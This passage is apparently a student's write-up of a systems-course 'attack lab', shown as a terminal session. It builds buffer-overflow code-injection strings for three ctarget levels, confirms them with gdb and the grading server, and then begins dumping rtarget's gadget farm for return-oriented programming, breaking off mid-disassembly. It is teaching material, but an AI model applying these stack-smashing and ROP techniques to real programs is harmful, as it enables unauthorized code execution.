class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br><span class="line">361</span><br><span class="line">362</span><br><span class="line">363</span><br><span class="line">364</span><br><span class="line">365</span><br><span class="line">366</span><br><span class="line">367</span><br><span class="line">368</span><br><span class="line">369</span><br><span class="line">370</span><br><span class="line">371</span><br><span class="line">372</span><br><span class="line">373</span><br><span class="line">374</span><br><span class="line">375</span><br><span class="line">376</span><br><span class="line">377</span><br><span class="line">378</span><br><span class="line">379</span><br><span class="line">380</span><br><span class="line">381</span><br><span class="line">382</span><br><span class="line">383</span><br><span class="line">384</span><br><span class="line">385</span><br><span class="line">386</span><br><span class="line">387</span><br><span class="line">388</span><br><span class="line">389</span><br><span class="line">390</span><br><span class="line">391</span><br><span class="line">392</span><br><span class="line">393</span><br><span class="line">394</span><br><span class="line">395</span><br><span class="line">396</span><br><span class="line">397</span><br><span class="line">398</span><br><span class="line">399</span><br><span class="line">400</span><br><span class="line">401</span><br><span class="line">402</span><br><span class="line">403</span><br><span class="line">404</span><br><span class="line">405</span><br><span class="line">406</span><br><span class="line">407</span><br><span class="line">408</span><br><span class="line">409</span><br><span class="line">410</span><br><span class="line">411</span><br><span class="line">412</span><br><span class="line">413</span><br><span class="line">414</span><br><span class="line">415</span><br><span class="line">416</span><br><span class="line">417</span><br><span class="line">418</span><br><span class="line">419</span><br><span class="line">420</span><br><span class="line">421</span><br><span class="line">422</span><br><span class="line">423</span><br><span class="line">424</span><br><span class="line">425</span><br><span class="line">426</span><br><span class="line">427</span><br><span class="line">428</span><br><span class="line">429</span><br><span class="line">430</span><br><span class="line">431</span><br><span class="line">432</span><br><span class="line">433</span><br><span class="line">434</span><br><span class="line">435</span><br><span class="line">436</span><br><span class="line">437</span><br><span class="line">438</span><br><span class="line">439</span><br><span class="line">440</span><br><span class="line">441</span><br><span class="line">442</span><br><span class="line">443</span><br><span class="line">444</span><br><span class="line">445</span><br><span class="line">446</span><br><span class="line">447</span><br><span class="line">448</span><br><span class="line">449</span><br><span class="line">450</span><br><span class="line">451</span><br><span class="line">452</span><br><span class="line">453</span><br><span class="line">454</span><br><span class="line">455</span><br><span class="line">456</span><br><span class="line">457</span><br><span class="line">458</span><br><span class="line">459</span><br><span class="line">460</span><br><span class="line">461</span><br><span class="line">462</span><br><span class="line">463</span><br><span class="line">464</span><br><span class="line">465</span><br><span class="line">466</span><br><span class="line">467</span><br><span class="line">468</span><br><span class="line">469</span><br><span class="line">470</span><br><span class="line">471</span><br><span class="line">472</span><br><span class="line">473</span><br><span class="line">474</span><br><span class="line">475</span><br><span class="line">476</span><br><span class="line">477</span><br><span class="line">478</span><br><span class="line">479</span><br><span class="line">480</span><br><span class="line">481</span><br><span class="line">482</span><br><span class="line">483</span><br><span class="line">484</span><br><span class="line">485</span><br><span class="line">486</span><br><span class="line">487</span><br><span class="line">488</span><br><span class="line">489</span><br><span class="line">490</span><br><span class="line">491</span><br><span class="line">492</span><br><span class="line">493</span><br><span class="line">494</span><br><span class="line">495</span><br><span class="line">496</span><br><span class="line">497</span><br><span class="line">498</span><br><span class="line">499</span><br><span class="line">500</span><br><span class="line">501</span><br><span class="line">502</span><br><span class="line">503</span><br><span class="line">504</span><br><span class="line">505</span><br><span class="line">506</span><br><span class="line">507</span><br><span class="line">508</span><br><span class="line">509</span><br><span class="line">510</span><br><span class="line">511</span><br><span class="line">512</span><br><span class="line">513</span><br><span class="line">514</span><br><span class="line">515</span><br><span class="line">516</span><br><span class="line">517</span><br><span class="line">518</span><br><span class="line">519</span><br><span class="line">520</span><br><span class="line">521</span><br><span class="line">522</span><br><span class="line">523</span><br><span class="line">524</span><br><span class="line">525</span><br><span class="line">526</span><br><span class="line">527</span><br><span class="line">528</span><br><span class="line">529</span><br><span class="line">530</span><br><span class="line">531</span><br><span class="line">532</span><br><span class="line">533</span><br><span class="line">534</span><br><span class="line">535</span><br><span class="line">536</span><br><span class="line">537</span><br><span class="line">538</span><br><span class="line">539</span><br><span class="line">540</span><br><span class="line">541</span><br><span class="line">542</span><br><span class="line">543</span><br><span class="line">544</span><br><span class="line">545</span><br><span class="line">546</span><br><span class="line">547</span><br><span class="line">548</span><br><span class="line">549</span><br><span class="line">550</span><br><span class="line">551</span><br><span class="line">552</span><br><span class="line">553</span><br><span class="line">554</span><br><span class="line">555</span><br><span class="line">556</span><br><span class="line">557</span><br><span class="line">558</span><br><span class="line">559</span><br><span class="line">560</span><br><span class="line">561</span><br><span class="line">562</span><br><span class="line">563</span><br><span class="line">564</span><br><span class="line">565</span><br><span class="line">566</span><br><span class="line">567</span><br><span class="line">568</span><br><span class="line">569</span><br><span class="line">570</span><br><span class="line">571</span><br><span class="line">572</span><br><span class="line">573</span><br><span class="line">574</span><br><span class="line">575</span><br><span class="line">576</span><br><span class="line">577</span><br><span class="line">578</span><br><span class="line">579</span><br><span class="line">580</span><br><span class="line">581</span><br><span class="line">582</span><br><span class="line">583</span><br><span class="line">584</span><br><span class="line">585</span><br><span class="line">586</span><br><span class="line">587</span><br><span class="line">588</span><br><span class="line">589</span><br><span class="line">590</span><br><span class="line">591</span><br><span class="line">592</span><br><span class="line">593</span><br><span class="line">594</span><br><span class="line">595</span><br><span class="line">596</span><br><span class="line">597</span><br><span class="line">598</span><br><span class="line">599</span><br><span class="line">600</span><br><span class="line">601</span><br><span class="line">602</span><br><span class="line">603</span><br><span class="line">604</span><br><span class="line">605</span><br><span class="line">606</span><br><span class="line">607</span><br><span class="line">608</span><br><span class="line">609</span><br><span class="line">610</span><br><span class="line">611</span><br><span class="line">612</span><br><span class="line">613</span><br><span class="line">614</span><br><span class="line">615</span><br><span class="line">616</span><br><span class="line">617</span><br><span class="line">618</span><br><span class="line">619</span><br><span class="line">620</span><br><span class="line">621</span><br><span class="line">622</span><br><span class="line">623</span><br><span class="line">624</span><br><span class="line">625</span><br><span class="line">626</span><br><span class="line">627</span><br><span class="line">628</span><br><span class="line">629</span><br><span class="line">630</span><br><span class="line">631</span><br><span class="line">632</span><br><span class="line">633</span><br><span class="line">634</span><br><span class="line">635</span><br><span class="line">636</span><br><span class="line">637</span><br><span class="line">638</span><br><span class="line">639</span><br><span class="line">640</span><br><span class="line">641</span><br><span class="line">642</span><br><span class="line">643</span><br><span class="line">644</span><br><span class="line">645</span><br><span class="line">646</span><br><span class="line">647</span><br><span class="line">648</span><br><span class="line">649</span><br><span class="line">650</span><br><span class="line">651</span><br><span class="line">652</span><br><span class="line">653</span><br><span class="line">654</span><br><span class="line">655</span><br><span class="line">656</span><br><span class="line">657</span><br><span class="line">658</span><br><span class="line">659</span><br><span class="line">660</span><br><span class="line">661</span><br><span class="line">662</span><br></pre></td><td class="code"><pre><span class="line">aobzii@aobzii-VMware-Virtual-Platform:~/桌面$ ssh B24040307@10.160.106.190</span><br><span class="line">B24040307@10.160.106.190<span class="string">&#x27;s password: </span></span><br><span class="line"><span class="string">Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 6.5.0-25-generic x86_64)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"> * Documentation:  https://help.ubuntu.com</span></span><br><span class="line"><span class="string"> * Management:     https://landscape.canonical.com</span></span><br><span class="line"><span class="string"> * Support:        https://ubuntu.com/pro</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">Expanded Security Maintenance for Applications is not enabled.</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">438 updates can be applied immediately.</span></span><br><span class="line"><span class="string">436 of these updates are standard security updates.</span></span><br><span class="line"><span class="string">To see these additional updates run: apt list --upgradable</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">30 additional security updates can be applied with ESM Apps.</span></span><br><span class="line"><span class="string">Learn more about enabling ESM Apps service at https://ubuntu.com/esm</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">The list of available updates is more than a week old.</span></span><br><span class="line"><span class="string">To check for new updates run: sudo apt update</span></span><br><span class="line"><span class="string">Last login: Mon May 11 16:48:45 2026 from 10.10.240.31</span></span><br><span class="line"><span class="string">B24040307@ICS:~$ cd target48</span></span><br><span class="line"><span class="string">B24040307@ICS:~/target48$ ls</span></span><br><span class="line"><span class="string">clevel1.txt  ctarget farm.c   printf.so   rtarget</span></span><br><span class="line"><span class="string">cookie.txt   ctarget.l1  hex2raw  README.txt</span></span><br><span class="line"><span class="string">B24040307@ICS:~/target48$ ls -l ctarget.l1 clevel1.txt</span></span><br><span class="line"><span class="string">-rw-rw-r-- 1 B24040307 B24040307 33  5月 11 16:57 clevel1.txt</span></span><br><span class="line"><span class="string">-rw-rw-r-- 1 B24040307 B24040307 96  5月 11 16:52 ctarget.l1</span></span><br><span class="line"><span class="string">B24040307@ICS:~/target48$ LD_PRELOAD=./printf.so ./ctarget -q &lt; clevel1.txt</span></span><br><span class="line"><span class="string">Cookie: 0x1c2a3245</span></span><br><span class="line"><span class="string">Type string:Touch1!: You called touch1()</span></span><br><span class="line"><span class="string">Valid solution for level 1 with target ctarget</span></span><br><span class="line"><span class="string">PASS: Would have posted the following:</span></span><br><span class="line"><span class="string">user idB24040307</span></span><br><span class="line"><span class="string">course15213-f15</span></span><br><span class="line"><span class="string">labattacklab</span></span><br><span class="line"><span class="string">result48:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 23 1F 40 00 00 00 00 00 </span></span><br><span class="line"><span class="string">B24040307@ICS:~/target48$ LD_PRELOAD=./printf.so ./ctarget &lt; clevel1.txt</span></span><br><span class="line"><span class="string">Cookie: 0x1c2a3245</span></span><br><span class="line"><span class="string">Type string:Touch1!: You called touch1()</span></span><br><span class="line"><span class="string">Valid solution for level 1 with target ctarget</span></span><br><span class="line"><span class="string">PASS: Sent exploit string to server to be validated.</span></span><br><span class="line"><span class="string">NICE JOB!</span></span><br><span class="line"><span class="string">B24040307@ICS:~/target48$ gdb -q ./ctarget \</span></span><br><span class="line"><span class="string">-ex &#x27;</span><span class="built_in">set</span> environment LD_PRELOAD=./printf.so<span class="string">&#x27; \</span></span><br><span class="line"><span class="string">-ex &#x27;</span><span class="built_in">break</span> *0x401f11<span class="string">&#x27; \</span></span><br><span class="line"><span class="string">-ex &#x27;</span>run -q<span class="string">&#x27; \</span></span><br><span class="line"><span class="string">-ex &#x27;</span><span class="built_in">print</span>/x <span class="variable">$rsp</span><span class="string">&#x27; \</span></span><br><span class="line"><span class="string">-ex &#x27;</span>quit<span class="string">&#x27;</span></span><br><span class="line"><span class="string">Reading symbols from ./ctarget...</span></span><br><span class="line"><span class="string">Breakpoint 1 at 0x401f11: file buf.c, line 14.</span></span><br><span class="line"><span class="string">Starting program: /home/B24040307/target48/ctarget -q</span></span><br><span class="line"><span class="string">[Thread debugging using libthread_db enabled]</span></span><br><span class="line"><span class="string">Using host libthread_db library &quot;/lib/x86_64-linux-gnu/libthread_db.so.1&quot;.</span></span><br><span class="line"><span class="string">Cookie: 0x1c2a3245</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">Breakpoint 1, getbuf () at buf.c:14</span></span><br><span class="line"><span class="string">14buf.c: 没有那个文件或目录.</span></span><br><span class="line"><span class="string">$1 = 0x556430f8</span></span><br><span class="line"><span class="string">A debugging session is active.</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">Inferior 1 [process 2658688] will be killed.</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">Quit anyway? (y or n) y</span></span><br><span class="line"><span class="string">B24040307@ICS:~/target48$ cat &gt; ctarget.l2 &lt;&lt;EOF</span></span><br><span class="line"><span class="string">48 c7 c7 45 32 2a 1c c3</span></span><br><span class="line"><span class="string">00 00 00 00 00 00 00 00</span></span><br><span class="line"><span class="string">00 00 00 00 00 00 00 00</span></span><br><span class="line"><span class="string">f8 30 64 55 00 00 00 00</span></span><br><span class="line"><span class="string">57 1f 40 00 00 00 00 00</span></span><br><span class="line"><span class="string">EOF</span></span><br><span class="line"><span class="string">B24040307@ICS:~/target48$ cat ctarget.l2</span></span><br><span class="line"><span class="string">48 c7 c7 45 32 2a 1c c3</span></span><br><span class="line"><span class="string">00 00 00 00 00 00 00 00</span></span><br><span class="line"><span class="string">00 00 00 00 00 00 00 00</span></span><br><span class="line"><span class="string">f8 30 64 55 00 00 00 00</span></span><br><span class="line"><span class="string">57 1f 40 00 00 00 00 00</span></span><br><span class="line"><span class="string">B24040307@ICS:~/target48$ ./hex2raw &lt; ctarget.l2 &gt; clevel2.txt</span></span><br><span class="line"><span class="string">B24040307@ICS:~/target48$ ls -l ctarget.l2 clevel2.txt</span></span><br><span class="line"><span class="string">-rw-rw-r-- 1 B24040307 B24040307  41  5月 11 19:23 clevel2.txt</span></span><br><span class="line"><span class="string">-rw-rw-r-- 1 B24040307 B24040307 120  5月 11 19:23 ctarget.l2</span></span><br><span class="line"><span class="string">B24040307@ICS:~/target48$ LD_PRELOAD=./printf.so ./ctarget -q &lt; clevel2.txt</span></span><br><span class="line"><span class="string">Cookie: 0x1c2a3245</span></span><br><span class="line"><span class="string">Type string:Touch2!: You called touch2(0x1c2a3245)</span></span><br><span class="line"><span class="string">Valid solution for level 2 with target ctarget</span></span><br><span class="line"><span class="string">PASS: Would have posted the following:</span></span><br><span class="line"><span class="string">user idB24040307</span></span><br><span class="line"><span class="string">course15213-f15</span></span><br><span class="line"><span class="string">labattacklab</span></span><br><span class="line"><span class="string">result48:PASS:0xffffffff:ctarget:2:48 C7 C7 45 32 2A 1C C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F8 30 64 55 00 00 00 00 57 1F 40 00 00 00 00 00 </span></span><br><span class="line"><span class="string">B24040307@ICS:~/target48$ LD_PRELOAD=./printf.so ./ctarget &lt; clevel2.txt</span></span><br><span class="line"><span class="string">Cookie: 0x1c2a3245</span></span><br><span class="line"><span class="string">Type string:Touch2!: You called touch2(0x1c2a3245)</span></span><br><span class="line"><span class="string">Valid solution for level 2 with target ctarget</span></span><br><span class="line"><span class="string">Ouch!: You caused a segmentation fault!</span></span><br><span class="line"><span class="string">Better luck next time</span></span><br><span class="line"><span class="string">FAILED</span></span><br><span class="line"><span class="string">B24040307@ICS:~/target48$ gdb -q ./ctarget \</span></span><br><span class="line"><span class="string">-ex &#x27;</span><span class="built_in">set</span> environment LD_PRELOAD=./printf.so<span class="string">&#x27; \</span></span><br><span class="line"><span class="string">-ex &#x27;</span><span class="built_in">break</span> *0x401f11<span class="string">&#x27; \</span></span><br><span class="line"><span class="string">-ex &#x27;</span>run<span class="string">&#x27; \</span></span><br><span class="line"><span class="string">-ex &#x27;</span><span class="built_in">print</span>/x <span class="variable">$rsp</span><span class="string">&#x27; \</span></span><br><span class="line"><span class="string">-ex &#x27;</span>quit<span class="string">&#x27;</span></span><br><span class="line"><span class="string">Reading symbols from ./ctarget...</span></span><br><span class="line"><span class="string">Breakpoint 1 at 0x401f11: file buf.c, line 14.</span></span><br><span class="line"><span class="string">Starting program: /home/B24040307/target48/ctarget </span></span><br><span class="line"><span class="string">[Thread debugging using libthread_db enabled]</span></span><br><span class="line"><span class="string">Using host libthread_db library &quot;/lib/x86_64-linux-gnu/libthread_db.so.1&quot;.</span></span><br><span class="line"><span class="string">Cookie: 0x1c2a3245</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">Breakpoint 1, getbuf () at buf.c:14</span></span><br><span class="line"><span class="string">14buf.c: 没有那个文件或目录.</span></span><br><span class="line"><span class="string">$1 = 0x556430f8</span></span><br><span class="line"><span class="string">A debugging session is active.</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">Inferior 1 [process 2671211] will be killed.</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">Quit anyway? (y or n) y</span></span><br><span class="line"><span class="string">B24040307@ICS:~/target48$ cat &gt; ctarget.l2 &lt;&lt;EOF</span></span><br><span class="line"><span class="string">48 c7 c7 45 32 2a 1c 68</span></span><br><span class="line"><span class="string">57 1f 40 00 c3 00 00 00</span></span><br><span class="line"><span class="string">00 00 00 00 00 00 00 00</span></span><br><span class="line"><span class="string">f8 30 64 55 00 00 00 00</span></span><br><span class="line"><span class="string">EOF</span></span><br><span class="line"><span class="string">B24040307@ICS:~/target48$ ./hex2raw &lt; ctarget.l2 &gt; clevel2.txt</span></span><br><span class="line"><span class="string">B24040307@ICS:~/target48$ ls -l ctarget.l2 clevel2.txt</span></span><br><span class="line"><span class="string">-rw-rw-r-- 1 B24040307 B24040307 33  5月 11 19:27 clevel2.txt</span></span><br><span class="line"><span class="string">-rw-rw-r-- 1 B24040307 B24040307 96  5月 11 19:26 ctarget.l2</span></span><br><span class="line"><span class="string">B24040307@ICS:~/target48$ LD_PRELOAD=./printf.so ./ctarget -q &lt; clevel2.txt</span></span><br><span class="line"><span class="string">Cookie: 0x1c2a3245</span></span><br><span class="line"><span class="string">Type string:Touch2!: You called touch2(0x1c2a3245)</span></span><br><span class="line"><span class="string">Valid solution for level 2 with target ctarget</span></span><br><span class="line"><span class="string">PASS: Would have posted the following:</span></span><br><span class="line"><span class="string">user idB24040307</span></span><br><span class="line"><span class="string">course15213-f15</span></span><br><span class="line"><span class="string">labattacklab</span></span><br><span class="line"><span class="string">result48:PASS:0xffffffff:ctarget:2:48 C7 C7 45 32 2A 1C 68 57 1F 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 F8 30 64 55 00 00 00 00 </span></span><br><span class="line"><span class="string">B24040307@ICS:~/target48$ LD_PRELOAD=./printf.so ./ctarget &lt; clevel2.txt</span></span><br><span class="line"><span class="string">Cookie: 0x1c2a3245</span></span><br><span class="line"><span class="string">Type string:Touch2!: You called touch2(0x1c2a3245)</span></span><br><span class="line"><span class="string">Valid solution for level 2 with target ctarget</span></span><br><span class="line"><span class="string">PASS: Sent exploit string to server to be validated.</span></span><br><span class="line"><span class="string">NICE JOB!</span></span><br><span class="line"><span class="string">B24040307@ICS:~/target48$ gdb -q ./ctarget -ex &#x27;</span>p/x touch3<span class="string">&#x27; -ex quit</span></span><br><span class="line"><span class="string">Reading symbols from ./ctarget...</span></span><br><span class="line"><span class="string">$1 = 0xf3</span></span><br><span class="line"><span class="string">B24040307@ICS:~/target48$ gdb -q ./ctarget -ex &#x27;</span>p/x &amp;touch3<span class="string">&#x27; -ex quit</span></span><br><span class="line"><span class="string">Reading symbols from ./ctarget...</span></span><br><span class="line"><span class="string">$1 = 0x402074</span></span><br><span class="line"><span class="string">B24040307@ICS:~/target48$ cat &gt; ctarget.l3 &lt;&lt;&#x27;</span>EOF<span class="string">&#x27;</span></span><br><span class="line"><span class="string">48 C7 C7 18 31 64 55 68</span></span><br><span class="line"><span class="string">74 20 40 00 C3 00 00 00</span></span><br><span class="line"><span class="string">00 00 00 00 00 00 00 00</span></span><br><span class="line"><span class="string">F8 30 64 55 00 00 00 00</span></span><br><span class="line"><span class="string">31 63 32 61 33 32 34 35</span></span><br><span class="line"><span class="string">00</span></span><br><span class="line"><span class="string">EOF</span></span><br><span class="line"><span class="string">B24040307@ICS:~/target48$ ./hex2raw &lt; ctarget.l3 &gt; clevel3.txt</span></span><br><span class="line"><span class="string">B24040307@ICS:~/target48$ LD_PRELOAD=./printf.so ./ctarget -q &lt; clevel3.txt</span></span><br><span class="line"><span class="string">Cookie: 0x1c2a3245</span></span><br><span class="line"><span class="string">Type string:Touch3!: You called touch3(&quot;1c2a3245&quot;)</span></span><br><span class="line"><span class="string">Valid solution for level 3 with target ctarget</span></span><br><span class="line"><span class="string">PASS: Would have posted the following:</span></span><br><span class="line"><span class="string">user idB24040307</span></span><br><span class="line"><span class="string">course15213-f15</span></span><br><span class="line"><span class="string">labattacklab</span></span><br><span class="line"><span class="string">result48:PASS:0xffffffff:ctarget:3:48 C7 C7 18 31 64 55 68 74 20 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 F8 30 64 55 00 00 00 00 31 63 32 61 33 32 34 35 00 </span></span><br><span class="line"><span class="string">B24040307@ICS:~/target48$ LD_PRELOAD=./printf.so ./ctarget &lt; clevel3.txt</span></span><br><span class="line"><span class="string">Cookie: 0x1c2a3245</span></span><br><span class="line"><span class="string">Type string:Touch3!: You called touch3(&quot;1c2a3245&quot;)</span></span><br><span class="line"><span class="string">Valid solution for level 3 with target ctarget</span></span><br><span class="line"><span class="string">PASS: Sent exploit string to server to be validated.</span></span><br><span class="line"><span class="string">NICE JOB!</span></span><br><span class="line"><span class="string">B24040307@ICS:~/target48$ objdump -d ./rtarget &gt; rtarget.asm</span></span><br><span class="line"><span class="string">B24040307@ICS:~/target48$ grep -A200 &#x27;</span>&lt;start_farm&gt;<span class="string">&#x27; rtarget.asm</span></span><br><span class="line"><span class="string">0000000000402119 &lt;start_farm&gt;:</span></span><br><span class="line"><span class="string">  402119:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">  40211d:b8 01 00 00 00       mov    $0x1,%eax</span></span><br><span class="line"><span class="string">  402122:c3                   ret    </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">0000000000402123 &lt;getval_181&gt;:</span></span><br><span class="line"><span class="string">  402123:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">  402127:b8 48 89 c7 90       mov    $0x90c78948,%eax</span></span><br><span class="line"><span class="string">  40212c:c3                   ret    </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">000000000040212d &lt;setval_210&gt;:</span></span><br><span class="line"><span class="string">  40212d:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">  402131:c7 07 48 89 c7 c1    movl   $0xc1c78948,(%rdi)</span></span><br><span class="line"><span class="string">  402137:c3                   ret    </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">0000000000402138 &lt;addval_493&gt;:</span></span><br><span class="line"><span class="string">  402138:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">  40213c:8d 87 43 58 94 90    lea    -0x6f6ba7bd(%rdi),%eax</span></span><br><span class="line"><span class="string">  402142:c3                   ret    </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">0000000000402143 &lt;setval_394&gt;:</span></span><br><span class="line"><span class="string">  402143:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">  402147:c7 07 db 58 90 90    movl   $0x909058db,(%rdi)</span></span><br><span class="line"><span class="string">  40214d:c3                   ret    </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">000000000040214e &lt;addval_233&gt;:</span></span><br><span class="line"><span class="string">  40214e:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">  402152:8d 87 48 89 c7 c1    lea    -0x3e3876b8(%rdi),%eax</span></span><br><span class="line"><span class="string">  402158:c3                   ret    </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">0000000000402159 &lt;addval_397&gt;:</span></span><br><span class="line"><span class="string">  402159:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">  40215d:8d 87 fc 48 89 c7    lea    -0x3876b704(%rdi),%eax</span></span><br><span class="line"><span class="string">  402163:c3                   ret    </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">0000000000402164 &lt;addval_311&gt;:</span></span><br><span class="line"><span class="string">  402164:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">  402168:8d 87 58 90 91 c3    lea    -0x3c6e6fa8(%rdi),%eax</span></span><br><span class="line"><span class="string">  40216e:c3                   